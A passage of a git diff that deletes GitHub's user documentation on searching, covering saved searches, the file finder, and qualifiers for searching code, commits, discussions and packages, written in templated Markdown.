variables.product.prodname_copilot_short %}**. - - ![Screenshot of the main search box on {% data variables.product.prodname_dotcom %}. The drop-down option "Ask {% data variables.product.prodname_copilot_short %}" is highlighted with an orange outline.](/assets/images/help/copilot/ask-copilot-from-search-bar.png) - - The {% data variables.product.prodname_copilot_chat %} panel is displayed and {% data variables.product.prodname_copilot_short %} responds to your request. - -{% data reusables.copilot.stop-response-generation %} - -{% endif %} - -## Creating and managing saved searches - -1. In the top navigation of {% data variables.product.prodname_dotcom %}, click the search bar and type `saved:`. -1. Under the search bar, in the "Saved queries" section, click **{% octicon "plus-circle" aria-hidden="true" %} Manage saved searches**. -1. In the pop-up window, type both the name you want for your saved search and the query you want to save. -1. To finish creating your saved search, click **Create saved search**. -1. To see your saved search, click the search bar. Your saved search will be in the "Saved queries" section. Clicking on a saved search entry will add the query to the search bar and filter the suggestions accordingly. -1. To manage a saved search, type `saved:` in the search bar, then click **{% octicon "plus-circle" aria-hidden="true" %} Manage saved searches**. - * To edit a saved search, to the right of the search, click {% octicon "pencil" aria-label="The pencil icon" %}. - * To delete a saved search, to the right of the search, click {% octicon "trash" aria-label="The trash icon" %}. - -## Using the search results view - -To construct a search query, as well as view and filter results, using a visual interface, you can use the {% data variables.search.search_page_url %} or {% data variables.search.advanced_url %}. If you press Enter after typing a search query in the search bar, you will also be taken to the search results view. - -On the search results view, you can navigate between different types of search results, including code, issues, pull request, repositories, and more. You can also view and use filters. - -## Using {% data variables.product.prodname_dotcom %} code search on {% data variables.product.prodname_mobile %} - -On {% data variables.product.prodname_mobile %}, you can use code search directly from the search bar in the home screen. Code search on {% data variables.product.prodname_mobile %} uses the same syntax as code search on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/search-github/github-code-search/about-github-code-search#limitations). - -Once you start typing a search query, you will see a list of completions and suggestions that match your query. You can click on a suggestion to jump to a specific location. As you type more qualifiers, you will see more specific suggestions, such as code files you can jump to directly. diff --git a/content/search-github/index.md b/content/search-github/index.md deleted file mode 100644 index 25b0447fda43..000000000000 --- a/content/search-github/index.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Search on GitHub documentation -intro: 'Learn how to use the search functions available on GitHub to find different types of information, like projects, people, and code.' -introLinks: - overview: /search-github/getting-started-with-searching-on-github/about-searching-on-github -featuredLinks: - startHere: - - /search-github/searching-on-github/searching-issues-and-pull-requests - - '{% ifversion ghes %}/search-github/searching-on-github/searching-code{% endif %}' - - /search-github/github-code-search/understanding-github-code-search-syntax - - /search-github/searching-on-github/searching-for-repositories - - /search-github/searching-on-github/searching-commits - popular: - - /search-github/github-code-search/about-github-code-search - - /search-github/getting-started-with-searching-on-github/understanding-the-search-syntax - - /search-github/searching-on-github/searching-users - - /search-github/searching-on-github/finding-files-on-github - - /search-github/getting-started-with-searching-on-github/sorting-search-results - guideCards: - - /search-github/searching-on-github/searching-in-forks - - /search-github/searching-on-github/searching-topics - - /search-github/searching-on-github/searching-for-packages -changelog: - label: search -layout: product-landing -redirect_from: - - /categories/78/articles - - /categories/search - - /categories/searching-for-information-on-github - - /github/searching-for-information-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search -children: - - /getting-started-with-searching-on-github - - /searching-on-github - - /github-code-search -shortTitle: Search on GitHub ---- diff --git a/content/search-github/searching-on-github/finding-files-on-github.md b/content/search-github/searching-on-github/finding-files-on-github.md deleted file mode 100644 index b836eee94490..000000000000 --- a/content/search-github/searching-on-github/finding-files-on-github.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Finding files on GitHub -intro: 'You can search for a file in a repository using the file finder. To search for a file in multiple repositories on {% data variables.product.github %}, use the {% ifversion code-search-upgrade %}[`path` code search qualifier](/search-github/github-code-search/understanding-github-code-search-syntax#path-qualifier){% else %}[`filename` code search qualifier](/search-github/searching-on-github/searching-code#search-by-filename){% endif %}.' -redirect_from: - - /articles/finding-files-on-github - - /github/searching-for-information-on-github/finding-files-on-github - - /github/searching-for-information-on-github/searching-on-github/finding-files-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search ---- - -> [!TIP] -> * By default, file finder results exclude some directories like `build`, `log`, `tmp`, and `vendor`. To search for files in these directories, {% ifversion code-search-upgrade %}use the [`path` code search qualifier](/search-github/github-code-search/understanding-github-code-search-syntax#path-qualifier){% else %}use the [`filename` code search qualifier](/search-github/searching-on-github/searching-code#search-by-filename){% endif %}. Alternatively, you can customize which directories are excluded by default [using a `.gitattributes` file](#customizing-excluded-files). -> * You can also open the file finder by pressing `t` on your keyboard. For more information, see [AUTOTITLE](/get-started/accessibility/keyboard-shortcuts). - -## Using the file finder - -{% ifversion code-view-ui %} -{% data reusables.repositories.navigate-to-repo %} -1. In the “Go to file” search bar, type the name of the file or directory you'd like to find. - ![Screenshot of the main view for a repository. A search bar, labeled "Go to file", is outlined in dark orange.](/assets/images/help/repository/repository-main-page-go-to-file.png) -1. Alternatively, if there is no "Go to file" search bar, click **Go to file**, then type the name of the file or directory you'd like to find. - ![Screenshot of the main view for a repository. A "Go to file" button is outlined in dark orange.](/assets/images/help/repository/repository-main-page-go-to-file-no-search-bar.png) -1. In the list of results, click the file or directory you wanted to find. You can view the file path for a directory or file below each search result. -{% else %} -{% data reusables.repositories.navigate-to-repo %} -1. Above the list of files, click **Go to file**. - ![Screenshot of a row of buttons on the main page of a repository. The "Go to file" button is outlined in dark orange.](/assets/images/help/search/find-file-button.png) -1. In the search field, type the name of the file you'd like to find. - ![Screenshot of the repository file search bar. The search bar has the term "readme." Results are shown under the search bar and include "README.md."](/assets/images/help/search/find-file-search-field.png) -1. In the list of results, click the file you wanted to find. -{% endif %} - -## Customizing excluded files - -By default, file finder results do not include files in the following directories if they exist at your repository root: - -* `.git` -* `.hg` -* `.sass-cache` -* `.svn` -* `build` -* `dot_git` -* `log` -* `tmp` -* `vendor` - -You can override these default exclusions using a `.gitattributes` file. - -To do this, create or update a file called `.gitattributes` in your repository root, setting the [`linguist-generated`](https://github.com/github-linguist/linguist/blob/main/docs/overrides.md) attribute to `false` for each directory that should be included in file finder results. - -For example, the following `.gitattributes` file would cause files in the `build/` directory to be available to the file finder: - -```text -build/** linguist-generated=false -``` - -Note that this override requires the use of the recursive glob pattern (`**`). For more information, see [pattern format](https://git-scm.com/docs/gitignore#_pattern_format) in the Git documentation. More complex overrides of subdirectories within excluded-by-default directories are not supported. - -## Further reading - -* [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github) -* [AUTOTITLE](/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github) -* [`.gitattributes`](https://git-scm.com/docs/gitattributes) in the Git documentation diff --git a/content/search-github/searching-on-github/index.md b/content/search-github/searching-on-github/index.md deleted file mode 100644 index 227d90984864..000000000000 --- a/content/search-github/searching-on-github/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Searching on GitHub -intro: You can use qualifiers to narrow your search and focus on specific categories of information. -redirect_from: - - /articles/searching-on-github - - /github/searching-for-information-on-github/searching-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search -children: - - /finding-files-on-github - - /searching-for-repositories - - /searching-topics - - /searching-code - - /searching-commits - - /searching-issues-and-pull-requests - - /searching-discussions - - /searching-github-marketplace - - /searching-users - - /searching-for-packages - - /searching-wikis - - /searching-in-forks - - /searching-gists ---- - diff --git a/content/search-github/searching-on-github/searching-code.md b/content/search-github/searching-on-github/searching-code.md deleted file mode 100644 index d5fb9c92f8b9..000000000000 --- a/content/search-github/searching-on-github/searching-code.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Searching code {% ifversion code-search-upgrade %}(legacy){% endif %} -intro: '{% ifversion code-search-upgrade %}You only need to use the legacy code search syntax if you are using the code search API{% else %}You can search for code on {% data variables.product.github %} and narrow the results using these code search qualifiers in any combination{% endif %}.' -redirect_from: - - /articles/searching-code - - /github/searching-for-information-on-github/searching-files-in-a-repository-for-exact-matches - - /github/searching-for-information-on-github/searching-code-for-exact-matches - - /github/searching-for-information-on-github/searching-code - - /github/searching-for-information-on-github/searching-on-github/searching-code -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - GitHub search ---- -{% ifversion code-search-upgrade %} - -> [!NOTE] -> This article covers the syntax for legacy code search, which you should only need to use for the [REST API endpoint for searching code](/rest/search/search#search-code). -> -> For information on the code search syntax that you can use on {% data variables.product.prodname_dotcom %}, see [AUTOTITLE](/search-github/github-code-search/understanding-github-code-search-syntax). - -{% endif %} - -{% data reusables.search.you-can-search-globally %} For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). - -You can only search code using these code search qualifiers. Search qualifiers specifically for repositories, users, or commits, will not work when searching for code. - -{% data reusables.search.syntax_tips %} - -## Considerations for code search - -Due to the complexity of searching code, there are some restrictions on how searches are performed: - -* {% data reusables.search.required_login %} -* Code in [forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) is only searchable if the fork has more stars than the parent repository, and the forked repository has at least one pushed commit after being created. Forks with fewer stars than the parent repository or no commits are **not** indexed for code search. To include forks with more stars than their parent and at least one pushed commit in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-in-forks). -* Only the _default branch_ is indexed for code search.{% ifversion fpt or ghec %} -* Only files smaller than 384 KB are searchable.{% else %}* Only files smaller than 5 MB are searchable. -* Only the first 500 KB of each file is searchable.{% endif %} -* Up to 4,000 private{% ifversion ghec or ghes %} and internal{% endif %} repositories are searchable. These 4,000 repositories will be the most recently updated of the first 10,000 private{% ifversion ghec or ghes %} and internal{% endif %} repositories that you have access to. -* Only repositories with fewer than 500,000 files are searchable.{% ifversion fpt or ghec %} -* Only repositories that have had activity or have been returned in search results in the last year are searchable.{% endif %} -* Except with [`filename`](#search-by-filename) searches, you must always include at least one search term when searching source code. For example, searching for [`language:javascript`](https://github.com/search?utf8=%E2%9C%93&q=language%3Ajavascript&type=Code&ref=searchresults) is not valid, while [`amazing language:javascript`](https://github.com/search?utf8=%E2%9C%93&q=amazing+language%3Ajavascript&type=Code&ref=searchresults) is. -* At most, search results can show two fragments from the same file, but there may be more results within the file. -* You can't use the following wildcard characters as part of your search query: . , : ; / \ ` ' " = * ! ? # $ & + ^ | ~ < > ( ) { } [ ] @. The search will simply ignore these symbols. - -## Search by the file contents or file path - -With the `in` qualifier you can restrict your search to the contents of the source code file, the file path, or both. When you omit this qualifier, only the file contents are searched. - -| Qualifier | Example -| ------------- | ------------- -| `in:file` | [**octocat in:file**](https://github.com/search?q=octocat+in%3Afile&type=Code) matches code where "octocat" appears in the file contents. -| `in:path` | [**octocat in:path**](https://github.com/search?q=octocat+in%3Apath&type=Code) matches code where "octocat" appears in the file path. -| `in:file,path` | [**octocat in:file,path**](https://github.com/search?q=octocat+in%3Afile%2Cpath&type=Code) matches code where "octocat" appears in the file contents or the file path. - -## Search within a user's or organization's repositories - -To search the code in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. To search the code in a specific repository, you can use the `repo` qualifier. - -| Qualifier | Example -| ------------- | ------------- -| user:USERNAME | [**user:defunkt extension:rb**](https://github.com/search?q=user%3Agithub+extension%3Arb&type=Code) matches code from @defunkt that ends in .rb. -| org:ORGNAME |[**org:github extension:js**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+extension%3Ajs&type=Code) matches code from GitHub that ends in .js. -| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway extension:as**](https://github.com/search?q=repo%3Amozilla%2Fshumway+extension%3Aas&type=Code) matches code from @mozilla's shumway project that ends in .as. - -## Search by file location - -You can use the `path` qualifier to search for source code that appears at a specific location in a repository. Use `path:/` to search for files that are located at the root level of a repository. Or specify a directory name or the path to a directory to search for files that are located within that directory or any of its subdirectories. - -| Qualifier | Example -| ------------- | ------------- -| path:/ | [**octocat filename:readme path:/**](https://github.com/search?utf8=%E2%9C%93&q=octocat+filename%3Areadme+path%3A%2F&type=Code) matches _readme_ files with the word "octocat" that are located at the root level of a repository. -| path:DIRECTORY | [**form path:cgi-bin language:perl**](https://github.com/search?q=form+path%3Acgi-bin+language%3Aperl&type=Code) matches Perl files with the word "form" in the cgi-bin directory, or in any of its subdirectories. -| path:PATH/TO/DIRECTORY | [**`console path:app/public language:javascript`**](https://github.com/search?q=console+path%3A%22app%2Fpublic%22+language%3Ajavascript&type=Code) matches JavaScript files with the word "console" in the app/public directory, or in any of its subdirectories (even if they reside in app/public/js/form-validators). - -## Search by language - -You can search for code based on what language it's written in. The `language` qualifier can be the language name or alias. For a full list of supported languages with their names and aliases, see the [github-linguist/linguist repository](https://github.com/github-linguist/linguist/blob/main/lib/linguist/languages.yml). - -| Qualifier | Example -| ------------- | ------------- -| language:LANGUAGE | [**element language:xml size:100**](https://github.com/search?q=element+language%3Axml+size%3A100&type=Code) matches code with the word "element" that's marked as being XML and has exactly 100 bytes. -| language:LANGUAGE | [**display language:scss**](https://github.com/search?q=display+language%3Ascss&type=Code) matches code with the word "display," that's marked as being SCSS. -| language:LANGUAGE | [**org:mozilla language:markdown**](https://github.com/search?utf8=%E2%9C%93&q=org%3Amozilla+language%3Amarkdown&type=Code) matches code from all @mozilla's repositories that's marked as Markdown. - -## Search by file size - -You can use the `size` qualifier to search for source code based on the size of the file where the code exists. The `size` qualifier uses [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) to filter results based on the byte size of the file in which the code is found. - -| Qualifier | Example -| ------------- | ------------- -| size:n | [**function size:>10000 language:python**](https://github.com/search?q=function+size%3A%3E10000+language%3Apython&type=Code) matches code with the word "function," written in Python, in files that are larger than 10 KB. - -## Search by filename - -The `filename` qualifier matches code files with a certain filename. You can also find a file in a repository using the file finder. For more information, see [AUTOTITLE](/search-github/searching-on-github/finding-files-on-github). - -| Qualifier | Example -| ------------- | ------------- -| filename:FILENAME | [**filename:linguist**](https://github.com/search?utf8=%E2%9C%93&q=filename%3Alinguist&type=Code) matches files named "linguist." -| filename:FILENAME | [**filename:.vimrc commands**](https://github.com/search?q=filename%3A.vimrc+commands&type=Code) matches _.vimrc_ files with the word "commands." -| filename:FILENAME | [**filename:test_helper path:test language:ruby**](https://github.com/search?q=minitest+filename%3Atest_helper+path%3Atest+language%3Aruby&type=Code) matches Ruby files named _test_helper_ within the _test_ directory. - -## Search by file extension - -The `extension` qualifier matches code files with a certain file extension. - -| Qualifier | Example -| ------------- | ------------- -| extension:EXTENSION | [**form path:cgi-bin extension:pm**](https://github.com/search?q=form+path%3Acgi-bin+extension%3Apm&type=Code) matches code with the word "form," under cgi-bin, with the .pm file extension. -| extension:EXTENSION | [**icon size:>200000 extension:css**](https://github.com/search?utf8=%E2%9C%93&q=icon+size%3A%3E200000+extension%3Acss&type=Code) matches files larger than 200 KB that end in .css and have the word "icon." - -## Further reading - -* [AUTOTITLE](/search-github/getting-started-with-searching-on-github/sorting-search-results) -* [AUTOTITLE](/search-github/searching-on-github/searching-in-forks){% ifversion fpt or ghec %} -* [AUTOTITLE](/repositories/working-with-files/using-files/navigating-code-on-github){% endif %} diff --git a/content/search-github/searching-on-github/searching-commits.md b/content/search-github/searching-on-github/searching-commits.md deleted file mode 100644 index 4bfcec2d0d28..000000000000 --- a/content/search-github/searching-on-github/searching-commits.md +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Searching commits -intro: 'You can search for commits on {% data variables.product.github %} and narrow the results using these commit search qualifiers in any combination.' -redirect_from: - - /articles/searching-commits - - /github/searching-for-information-on-github/searching-commits - - /github/searching-for-information-on-github/searching-on-github/searching-commits -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search ---- -You can search for commits globally across all of {% data variables.product.github %}, or search for commits within a particular repository or organization. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). - -When you search for commits, only the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) of a repository is searched. - -{% data reusables.search.syntax_tips %} - -## Search within commit messages - -You can find commits that contain particular words in the message. For example, [**fix typo**](https://github.com/search?q=fix+typo&type=Commits) matches commits containing the words "fix" and "typo." - -## Search by author or committer - -You can find commits by a particular user with the `author` or `committer` qualifiers. - -| Qualifier | Example -| ------------- | ------------- -| author:USERNAME | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) matches commits authored by @defunkt. -| committer:USERNAME | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) matches commits committed by @defunkt. - -The `author-name` and `committer-name` qualifiers match commits by the name of the author or committer. - -| Qualifier | Example -| ------------- | ------------- -| author-name:NAME | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the author name. -| committer-name:NAME | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the committer name. - -The `author-email` and `committer-email` qualifiers match commits by the author's or committer's full email address. - -| Qualifier | Example -| ------------- | ------------- -| author-email:EMAIL | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) matches commits authored by chris@github.com. -| committer-email:EMAIL | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) matches commits committed by chris@github.com. - -## Search by authored or committed date - -Use the `author-date` and `committer-date` qualifiers to match commits authored or committed within the specified date range. - -{% data reusables.search.date_gt_lt %} - -| Qualifier | Example -| ------------- | ------------- -| author-date:YYYY-MM-DD | [**author-date:<2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) matches commits authored before 2016-01-01. -| committer-date:YYYY-MM-DD | [**committer-date:>2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) matches commits committed after 2016-01-01. - -## Filter merge commits - -The `merge` qualifier filters merge commits. - -| Qualifier | Example -| ------------- | ------------- -| `merge:true` | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) matches merge commits. -| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) matches non-merge commits. - -## Search by hash - -The `hash` qualifier matches commits with the specified SHA-1 hash. - -| Qualifier | Example -| ------------- | ------------- -| hash:HASH | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) matches commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. - -## Search by parent - -The `parent` qualifier matches commits whose parent has the specified SHA-1 hash. - -| Qualifier | Example -| ------------- | ------------- -| parent:HASH | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) matches children of commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. - -## Search by tree - -The `tree` qualifier matches commits with the specified SHA-1 git tree hash. - -| Qualifier | Example -| ------------- | ------------- -| tree:HASH | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) matches commits that refer to the tree hash `99ca967`. - -## Search within a user's or organization's repositories - -To search commits in all repositories owned by a certain user or organization, use the `user` or `org` qualifier. To search commits in a specific repository, use the `repo` qualifier. - -| Qualifier | Example -| ------------- | ------------- -| user:USERNAME | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) matches commit messages with the word "gibberish" in repositories owned by @defunkt. -| org:ORGNAME | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) matches commit messages with the word "test" in repositories owned by @github. -| repo:USERNAME/REPO | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) matches commit messages with the word "language" in @defunkt's "gibberish" repository. - -## Filter by repository visibility - -The `is` qualifier matches commits from repositories with the specified visibility. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). - -| Qualifier | Example -| ------------- | ------------- | -| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) matches commits to public repositories. -| {% ifversion ghes or ghec %} | -| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) matches commits to internal repositories. -| {% endif %} | -| `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) matches commits to private repositories. - -## Further reading - -* [AUTOTITLE](/search-github/getting-started-with-searching-on-github/sorting-search-results) diff --git a/content/search-github/searching-on-github/searching-discussions.md b/content/search-github/searching-on-github/searching-discussions.md deleted file mode 100644 index a114cf20adc7..000000000000 --- a/content/search-github/searching-on-github/searching-discussions.md +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Searching discussions -intro: 'You can search for discussions on {% data variables.product.github %} and narrow the results using search qualifiers.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search -redirect_from: - - /github/searching-for-information-on-github/searching-discussions - - /github/searching-for-information-on-github/searching-on-github/searching-discussions ---- - -## About searching for discussions - -You can search for discussions globally across all of {% data variables.product.github %}, or search for discussions within a particular organization or repository. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). - -{% data reusables.search.syntax_tips %} - -## Search by the title, body, or comments - -With the `in` qualifier you can restrict your search for discussions to the title, body, or comments. You can also combine qualifiers to search a combination of title, body, or comments. When you omit the `in` qualifier, {% data variables.product.github %} searches the title, body, and comments. - -| Qualifier | Example | -| :- | :- | -| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) matches discussions with "welcome" in the title. | -| `in:body` | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) matches discussions with "onboard" in the title or body. | -| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) matches discussions with "thanks" in the comments for the discussion. | - -## Search within a user's or organization's repositories - -To search discussions in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. To search discussions in a specific repository, you can use the `repo` qualifier. - -| Qualifier | Example | -| :- | :- | -| user:USERNAME | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) matches discussions with the word "feedback" from repositories owned by @octocat. | -| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) matches discussions in repositories owned by the GitHub organization. | -| repo:USERNAME/REPOSITORY | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) matches discussions from @nodejs' Node.js runtime project that were created before January 2021. | - -## Search by open or closed state - -You can filter discussions based on whether they're open or closed using the `is` qualifier. - -| Qualifier | Example -| ------------- | ------------- -| `is:open` | [**performance is:open is:discussion**](https://github.com/search?q=is%3Adiscussion+performance+is%3Aopen&type=discussions) matches open discussions with the word "performance." -| `is:closed` | [**android is:closed**](https://github.com/search?q=android+is%3Aclosed&type=discussions) matches closed discussions with the word "android." - -## Search based on whether a discussion was answered - -You can search for a discussion that has been answered using the `is` qualifier. - -| Qualifier | Example -| ------------- | ------------- -| `is:answered` | [**performance is:answered is:discussion**](https://github.com/search?q=is%3Adiscussion+performance+is%3Aanswered&type=discussions) matches answered discussions with the word "performance." -| `is:unanswered` | [**android is:unanswered**](https://github.com/search?q=android+is%3Aunanswered&type=discussions) matches unanswered discussions with the word "android." - -## Search based on whether a discussion is locked - -You can search for a discussion that has been locked using the `is` qualifier. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/moderating-discussions). - -| Qualifier | Example -| ------------- | ------------- -| `is:locked` | [**"code of conduct" is:locked is:discussion**](https://github.com/search?q=%22code+of+conduct%22+is%3Alocked+is%3Adiscussion&type=discussions) matches discussions with the words "code of conduct" that have been locked. -| `is:unlocked` | [**code of conduct is:unlocked is:discussion**](https://github.com/search?q=%22code+of+conduct%22+is%3Aunlocked&type=discussions) matches discussions with the words "code of conduct" that are unlocked. - -## Filter by repository visibility - -You can filter by the visibility of the repository containing the discussions using the `is` qualifier. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). - -| Qualifier | Example | -| :- | :- | -| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories. | -| {% ifversion ghec %} | -| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories. | -| {% endif %} | -| `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access. - -## Search by author - -The `author` qualifier finds discussions created by a certain user. - -| Qualifier | Example | -| :- | :- | -| author:USERNAME | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) matches discussions with the word "cool" that were created by @octocat. | -| `in:body` author:USERNAME | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) matches discussions created by @octocat that contain the word "bootstrap" in the body. | - -## Search by commenter - -The `commenter` qualifier finds discussions that contain a comment from a certain user. - -| Qualifier | Example | -| :- | :- | -| commenter:USERNAME | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) matches discussions in repositories owned by GitHub, that contain the word "github," and have a comment by @becca. - -## Search by user who has answered a discussion - -The `answered-by` qualifier finds discussions where a certain user's comment was marked as an answer. - -| Qualifier | Example | -| :- | :- | -| answered-by:USERNAME | [**cool answered-by:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) matches discussions with the word "cool" that were answered by @octocat. | - -## Search by a user that's involved in a discussion - -You can use the `involves` qualifier to find discussions that involve a certain user. The qualifier returns discussions that were either created by a certain user, mention the user, or contain comments by the user. The `involves` qualifier is a logical OR between the `author`, `mentions`, and `commenter` qualifiers for a single user. - -| Qualifier | Example | -| :- | :- | -| involves:USERNAME | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** matches discussions either @becca or @octocat are involved in. -| `in:body` involves:USERNAME | [**NOT free in:body involves:becca**](https://github.com/search?q=NOT+free+in%3Abody+involves%3Abecca&type=Discussions) matches discussions @becca is involved in that do not contain the word "free" in the body. - -## Search by number of comments - -You can use the `comments` qualifier along with greater than, less than, and range qualifiers to search by the number of comments. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). - -| Qualifier | Example | -| :- | :- | -| comments:n | [**comments:>100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) matches discussions with more than 100 comments. -| comments:n | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) matches discussions with comments ranging from 500 to 1,000. - -## Search by when a discussion was created or last updated - -You can filter discussions based on times of creation, or when the discussion was last updated. For discussion creation, you can use the `created` qualifier; to find out when an discussion was last updated, use the `updated` qualifier. - -Both qualifiers take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} - -{% data reusables.search.date_gt_lt %} - -| Qualifier | Example | -| :- | :- | -| created:YYYY-MM-DD | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) matches discussions that were created after November 15, 2020. -| updated:YYYY-MM-DD | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) matches discussions with the word "weird" in the body that were updated after December 2020. - -## Search by category - -You can filter discussions by specific discussions categories. - -| Qualifier | Example | -| :- | :- | -| category:CATEGORYNAME | [**category:Ideas**](https://github.com/search?utf8=%E2%9C%93&q=category%3Aideas) matches discussions categories that match the name "Ideas". - -## Search by label - -You can filter discussions by specific labels that are applied to discussions. - -| Qualifier | Example | -| :- | :- | -| label: "LABEL NAME" | [**label:"Product Feedback"**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22product+feedback%22&type=discussions) matches discussions that match the label "Product Feedback". - -## Further reading - -* [AUTOTITLE](/search-github/getting-started-with-searching-on-github/sorting-search-results) diff --git a/content/search-github/searching-on-github/searching-for-packages.md b/content/search-github/searching-on-github/searching-for-packages.md deleted file mode 100644 index d297c5c784e9..000000000000 --- a/content/search-github/searching-on-github/searching-for-packages.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Searching for packages -intro: 'You can search for packages on {% data variables.product.github %} and narrow the results using search qualifiers.' -product: '{% data reusables.gated-features.packages %}' -permissions: Anyone can search for packages they have access to. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search -redirect_from: - - /github/searching-for-information-on-github/searching-for-packages - - /github/searching-for-information-on-github/searching-on-github/searching-for-packages ---- -{% data reusables.package_registry.packages-ghes-release-stage %} - -## About searching for packages - -You can search for packages globally across all of {% data variables.product.github %}, or search for packages within a particular organization. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). - -{% ifversion ghes %} -You can only search for packages on {% data variables.product.prodname_ghe_server %}, not {% data variables.product.prodname_dotcom_the_website %}, even when {% data variables.product.prodname_github_connect %} is enabled. -{% endif %} - -{% data reusables.search.syntax_tips %} - -## Searching within a user's or organization's packages - -To find packages owned by a certain user or organization, use the `user` or `org` qualifier. - -| Qualifier | Example -| ------------- | ------------- -| user:USERNAME | [**`user:codertocat`**](https://github.com/search?q=user%3Acodertocat&type=RegistryPackages) matches packages owned by @codertocat -| org:ORGNAME | 